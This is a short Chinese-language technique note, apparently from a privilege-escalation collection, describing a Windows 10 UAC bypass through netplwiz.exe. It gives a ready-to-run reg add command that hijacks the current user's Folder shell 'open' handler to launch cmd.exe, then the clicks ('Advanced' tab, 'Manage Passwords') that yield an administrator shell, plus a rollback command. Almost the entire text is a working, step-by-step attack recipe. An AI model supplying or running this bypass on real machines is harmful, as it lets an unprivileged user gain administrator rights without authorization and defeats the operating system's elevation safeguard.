Windows 10 GUI UAC绕过（netplwiz.exe)
Windows 10 GUI UAC绕过（netplwiz.exe)
- 类型：GUI Hack
- 方法：注册表项操作
- 目标：\system32\netplwiz.exe
- 组件：攻击者定义
- Works from: window 10
HKCU\Software\Classes\Folder\shell\open\command
单击netplwiz.exe中的“管理密码”按钮时调用
产生步骤：
运行命令
reg add “HKCU\Software\Classes\Folder\shell\open\command” /d “cmd.exe /c cmd.exe” /f && reg add HKCU\Software\Classes\Folder\shell\open\command /v “DelegateExecute” /f
在cmd中运行netplwiz.exe。
选择“ 高级 ”选项卡，然后单击“ 管理密码 ”按钮。
然后您将获得Administrator Shell。
回滚
reg delete “HKCU\Software\Classes\Folder\shell\open\command” /f
